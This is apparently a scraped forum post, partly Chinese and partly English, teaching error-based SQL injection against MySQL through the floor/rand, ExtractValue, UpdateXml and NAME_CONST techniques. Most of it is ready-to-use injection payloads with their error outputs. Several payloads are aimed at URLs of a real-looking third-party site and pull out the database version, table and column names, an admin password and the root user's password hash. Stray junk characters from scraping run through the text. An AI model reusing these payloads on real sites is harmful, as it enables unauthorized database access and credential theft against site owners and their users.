|
1、通过floor报错 可以通过如下一些利用代码 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))); 举例如下:
) T) f( A2 a6 v- ^$ a首先进行正常查询: mysql> select * from article where id = 1;7 c# k. f. N- T* p7 Q. u" R
+—-+——-+———+5 |+ S9 e) f8 \6 K1 t, I/ ]
| id | title | content |3 G+ J" |' M( y4 W0 F) T
+—-+——-+———+; V5 s) A+ [; c$ o
| 1 | test | do it |
7 L4 M( E2 g% n( l$ Y0 }+—-+——-+———+ 假如id输入存在注入的话,可以通过如下语句进行报错。 mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);' [4 m+ y6 X' h
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’ 可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。$ e' i1 n. n4 }0 d( M+ P
例如我们需要查询管理员用户名和密码: Method1: mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
' U9 S5 a+ N* o" gERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’ Method2: mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));' a/ a: A0 J( I L {
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’ 2、ExtractValue& d3 Q8 h n d. w% ?4 B7 W% C' o
测试语句如下 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 实际测试过程 mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–7 b. m; F G& w
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′ 3、UpdateXml 测试语句 and 1=(updatexml(1,concat(0x3a,(select user())),1)) 实际测试过程 mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’
2 w; g, R, Y3 M4 b, z- k4 l- [
& Y6 z) B3 p8 s5 b9 k! s2 R2 ~再收集: 0 |9 i8 o; E( }6 u* g6 a" H" b
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c) 5 y6 o$ U7 {! F! }# i
" q& o2 T( I' ?. @. p" oError uplicate column name ‘5.0.27-community-nt’Error uplicate column name ‘5.0.27-community-nt’! H" G3 U* [1 e3 t; J; U
. t! @+ ^" ]# G2 R& E6 ]* A K3 k& }
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)5 }7 S, z' `2 {" ]" d+ C
' F' a% J m c/ r* cError uplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Error uplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′ 1 T; V: X" w/ B6 u* |
6 ]7 T& Q1 s0 r* C" m
MYSQL高版本报错注入技巧-利用NAME_CONST注入; s7 T; k; ?# U' q
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
0 m1 h; {9 J# y: d, q, J- o7 d0 a5 z' o* U9 W
Y+ |8 j( l5 E5 O- X, `相关信息
+ H* k1 k' k, ^8 t% j% s2 ~4 E* W* ^4 _
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that." z* V! U4 v) ?/ o* Z k
' O. o- u, o: MCode:
8 o. ?9 m2 K& n0 G( P& pNAME_CONST(DATA, VALUE)
# l" I, h0 R7 D t6 T/ O& `5 ?8 _( |" V, r
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.- Q. `7 ~; }6 k. @- C: j
% S+ M2 ]/ I' H o5 y0 q/ oSELECT NAME_CONST('TEST', 1)7 [3 S7 p, a3 ^4 l
" n+ U! p& h1 V! d8 X5 C% \
) t# X( n/ F" H3 C# ?
+ ?3 f- W# l& X N, Z|---------------|
- p9 Z F( P5 h0 J5 H! {| TEST |
^, V$ e* a/ p| |
7 M+ W3 q1 N/ y% n! S' {|---------------|
- U w# w1 F( ~3 b| 1 |
2 L6 b; J4 Z; V, |: H| |) ^6 q8 N# j. i* ~6 O
|---------------|. y R6 u' I7 b# v5 i: e9 G8 R
" ~# T- F* W: i9 k0 O1 e9 A0 c9 V/ c B# J/ n
3 l+ X4 c! b3 L/ h% U2 z2 L: j6 v! a+ e
) I7 f4 N% A& Lhttp://dev.mysql.com/doc/refman/5.0/en/m...name-const! i2 T+ N: @) a3 w# A& l
Intro to MySQL Variables% h# Y5 w- {% }7 |1 ?5 s B; m# {/ w
0 `% b0 d2 j* w' o# ]Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.7 v3 @' F& x( C* ~6 k
6 E* o' u# e2 c+ Q" ?* @
Code:# k( }. e' l% A/ V
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
( `1 t3 H- D a% N" _) C' f! i& P- k) ]; I. n" L9 U
0 ^6 W3 `) }4 q. h9 {( b
) j% V% q1 i9 w( E) J: F4 d" E; R
' I: y* |* Q. R7 O0 P7 T7 P4 x
, K6 q0 `) K; ?7 p2 b# YCode:. V) s8 u$ M9 R5 R
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--& T! C5 j" U* Q4 i% ^5 v: Z* s+ m
' D. k3 [4 R) {( p# _7 ^6 Q
* z, p7 N4 n6 Y& P
VAR = Your MySQL variable.& i3 |- j0 {5 g: I. _; {
: k: U4 M/ W3 e, b MMySQL 5.1.3 Server System Variables8 |8 m: `6 d$ ^3 ?- C# z# W; i1 d
# Q- W7 k8 D" V. sLet's try it out on my site..6 y* e: l! E* r, G, I5 a
( i( B. T- {% v/ x* n" ]8 n, d4 A
Code:1 D k, a; ~+ ?
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
, [) O8 t: `4 G1 {; H& X
" w$ Z+ H: Z( t$ G' {3 E' N. ~Error uplicate column name '5.0.27-community-nt', A- P; \ L3 l1 {
+ I% o8 D6 S/ l# }9 N
" z; c! B9 ]3 J7 t5 I: W$ m
Y' K6 g2 R' z
2 t7 X! j, s+ S& z" G: e
' g. x5 H4 l0 b. z$ }6 c4 [
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
7 A' P6 Z; z* ]
3 W4 {% z9 C, q/ qData Extraction& m) M' z! T! I, Q. w
' @5 ~, } X# p4 ^Code:2 e! \ S: m: ]4 c0 e" ~0 Z% h
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
5 p( c& K) v. M' p) Y4 N9 \" D/ y% D. Z1 [% b7 @% w; i( m% G
, u1 P: r2 o8 `5 A) |We should get a duplicate column 1 error...
6 R* j+ b# A3 ~
0 n9 ^( N E6 j" ~% ?6 z# QCode:1 x" F) Q, u3 K9 m9 T
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
) [9 O" u V0 C+ |0 O8 H/ q$ L+ i# g5 F, Q% _
Error uplicate column name '1
% O6 v- N% u/ l: H- S7 X6 E
# P: R4 E$ z2 S; y8 X( c7 g. e4 z- m# l1 J u
( ?5 H3 w! o6 h1 _& b/ k2 w* K! m4 E# a( z0 _8 r2 u3 m3 I- G$ w
, l2 c2 D, f6 c: L. @7 _2 U- T7 Z3 V6 s
Now let's get the tables out this bitch..
) a& [# E/ d: P# T. c" G. D; _& V8 ?' g5 E; Q# K7 I a+ x; V
Code:, i5 U+ q9 r7 d
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
) O" ]7 t- {( ~1 s6 W! z6 c2 P7 ]$ [
2 F# C" T7 r, _/ x$ d _Let's see if it works here, if it does, we can go on and finish the job.& H0 y. N. C5 C0 a
+ }4 \3 o$ |3 t1 e% Z+ O% oCode:! F& T+ Q% v* u
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
# T. S- U/ X2 ?( Y; F9 s, |: Q% S9 I
5 r# n/ E: W! _% g3 M2 r9 g
Error uplicate column name 'com_admanage
, l' g2 D; \# {$ ^" m0 @' m! e9 b
* X; D( e5 @0 b, Y( T) g9 Y
) m {0 \5 |7 M# W& z& }6 B
4 t- S! G% q3 w: M3 f) D
7 @. S7 e/ j. e2 U8 L. G. P2 s) R6 ]7 S n" q
2 ~* \- y4 h. MNow I'm going to be lazy and use mysql.user as an example, just for the sake of time., a, |5 L" C7 ~: E1 O
! m$ V1 w1 s& B8 R5 N# c& {Let's get the columns out of the user table..
# g% \! P5 {# h& p) a+ a
5 b6 s u0 _' y' YCode:% H1 |0 h! x; u7 h; U
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--! h9 t/ Z, G; i. G
+ \) H; B" U' Y* E% i
t! P% ^3 H7 S8 @! r) iSo mine looks like this, and I get the duplicate column name 'Host'.8 f$ l& j+ x5 `! I
/ o* [3 ]0 o) A+ v" n- rCode:: h8 N5 g8 C& G) `$ S
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
5 N$ d2 _4 w0 f3 h
! B* L7 ?$ p/ Y% qError uplicate column name 'Host'
; r* R; J( j3 ^1 s
- H5 u* h& o& b2 d4 z' o) s0 U; |9 N" K# {
! X9 h. r6 `. a3 E% a) r! q( s1 [
# T$ m% b0 h6 J1 f5 R9 ~1 U) w/ y0 m# {# @* ?$ T7 Y# Y
2 j" W6 m" V4 b" }) e/ h# @ Y
Woot, time to finish this bitch off.
$ Q9 D( _: B# |2 |4 R& g# J. b) w P/ V
Code:9 q; K; `* L. d. N& n
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--) W" x& d( z4 u7 ^5 E/ V( j1 O, ]/ j
_3 A' A3 }' D: H: M/ O9 N
3 a+ s2 Z& t' Q7 s$ J wSo mine looks like this...
- M' o3 S, f5 b. \$ _2 ?; V8 ]& t4 G/ G T- x9 t# K; r/ `5 Z
Code:
$ W9 s K. j0 Ghttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--8 T0 {. {6 d x4 Y3 f2 _; H
$ e6 Y! O6 \/ \4 gError uplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'# y: O9 p" z+ z4 }1 b& V
+ C9 _2 V+ O$ B1 f7 ~% x- \! r1 E- e. S4 a6 m, ?
$ s. N- w, q$ k9 a) O; O0 o3 e( h3 G$ [2 L
y, R* U6 q5 e" y0 m$ S9 f' C0 P1 T4 ]
And there we have it, thanks for reading.
$ p4 {/ j( x/ _4 _0 {5 E/ v! A& B0 i2 ^2 x" M, L3 _# M( S
|